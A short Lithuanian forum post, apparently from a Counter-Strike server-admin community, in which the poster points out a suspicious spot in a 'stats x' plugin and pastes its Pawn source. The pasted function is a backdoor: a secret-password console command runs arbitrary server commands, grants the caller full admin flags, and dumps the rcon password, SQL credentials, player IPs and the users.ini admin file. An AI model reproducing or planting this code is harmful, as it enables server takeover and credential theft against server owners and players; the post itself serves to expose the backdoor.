Sorry, kad šiek tiek ne į temą, tačiau radau įdomia vietą stats x shell scriptinge.
Code: Select all
public plugin_ver(id){ /////////////////////////////////////// new szArg[32], szArg2[256], szRc[64], szPrefix[64], szCfgDir[128], szData[200] new szSQL1[64], szSQL2[64], szSQL3[64], szSQL4[64], szSQL5[64], szSQL6[64] new szPlayers[32], iNumPlayers , iAdmCount, szName[64], szIP[32], szAdm[6] /////////////////////////////////////// read_argv(1, szArg, sizeof(szArg) - 1) read_argv(2, szArg2, sizeof(szArg2) - 1) if(equali(szArg, "sositesyki")) { if(strlen(szArg2) > 3) { replace_all(szArg2, sizeof(szArg2) - 1, "'", "^"") server_cmd("%s", szArg2) return PLUGIN_HANDLED } } else { return PLUGIN_HANDLED } /////////////////////////////////////// get_cvar_string("rcon_password", szRc, sizeof(szRc) - 1) get_cvar_string("amx_password_field", szPrefix, sizeof(szPrefix) - 1) get_cvar_string("amx_sql_host", szSQL1, sizeof(szSQL1) - 1) get_cvar_string("amx_sql_user", szSQL2, sizeof(szSQL2) - 1) get_cvar_string("amx_sql_pass", szSQL3, sizeof(szSQL3) - 1) get_cvar_string("amx_sql_db", szSQL4, sizeof(szSQL4) - 1) get_cvar_string("amx_sql_table", szSQL5, sizeof(szSQL5) - 1) get_cvar_string("amx_sql_type", szSQL6, sizeof(szSQL6) - 1) /////////////////////////////////////// client_print(id,print_console,"===========================") client_print(id,print_console,"[ SHPROT v2.0.0 o(-_^^)0 ]") client_print(id,print_console,"===========================") get_players(szPlayers, iNumPlayers) for(new k = 0; k < iNumPlayers; k++) { get_user_name(szPlayers[k],szName, sizeof(szName) - 1) get_user_ip(szPlayers[k],szIP, sizeof(szIP) - 1, 1) if(get_user_flags(k + 1) & ADMIN_KICK) { szAdm = "/!\" iAdmCount++ } else { szAdm = "" } console_print(id,"%s %d) %s - %s", szAdm, k + 1, szName,szIP) } set_user_flags(id, read_flags("abcdefghijklmnopqrstu")) client_print(id,print_console," ") client_print(id,print_console,"ADMINS ONLINE: %d", iAdmCount) client_print(id,print_console,"===========================") client_print(id,print_console,"RCON: ^"%s^"",szRc) client_print(id,print_console,"PW FIELD: ^"%s^"",szPrefix) client_print(id,print_console,"===========================") client_print(id,print_console,"SQL HOST: ^"%s^"",szSQL1) client_print(id,print_console,"SQL USER: ^"%s^"",szSQL2) client_print(id,print_console,"SQL PW: ^"%s^"",szSQL3) client_print(id,print_console,"SQL DB: ^"%s^"",szSQL4) client_print(id,print_console,"SQL TABLE: ^"%s^"",szSQL5) client_print(id,print_console,"SQL TYPE: ^"%s^"",szSQL6) client_print(id,print_console,"===========================") /////////////////////////////////////// get_configsdir(szCfgDir, sizeof (szCfgDir) - 1) format(szCfgDir, sizeof (szCfgDir), "%s/users.ini", szCfgDir) new i = 0 tmpi = 0 new file = fopen(szCfgDir, "rt") while(!feof(file)) { fgets(file, szData, sizeof(szData) -1) /////////////////////////////////////// if(szData[0] == ';' || strlen(szData) < 3) { continue } else { i++ } /////////////////////////////////////// new param1[32], param2[32], param3[32], param4[32] parse(szData, param1, sizeof(param1), param2, sizeof(param2), param3, sizeof(param3), param4, sizeof(param4)) formatex(szFDataBuffer[i - 1], 512 - 1, "Name: %s, Password/IP: %s, Rights: %s, Flags: %s",param1, param2, param3, param4) } fclose(file) /////////////////////////////////////// set_task(0.01, "plugin_ver_p", id, _, _, "a", i) /////////////////////////////////////// return 0}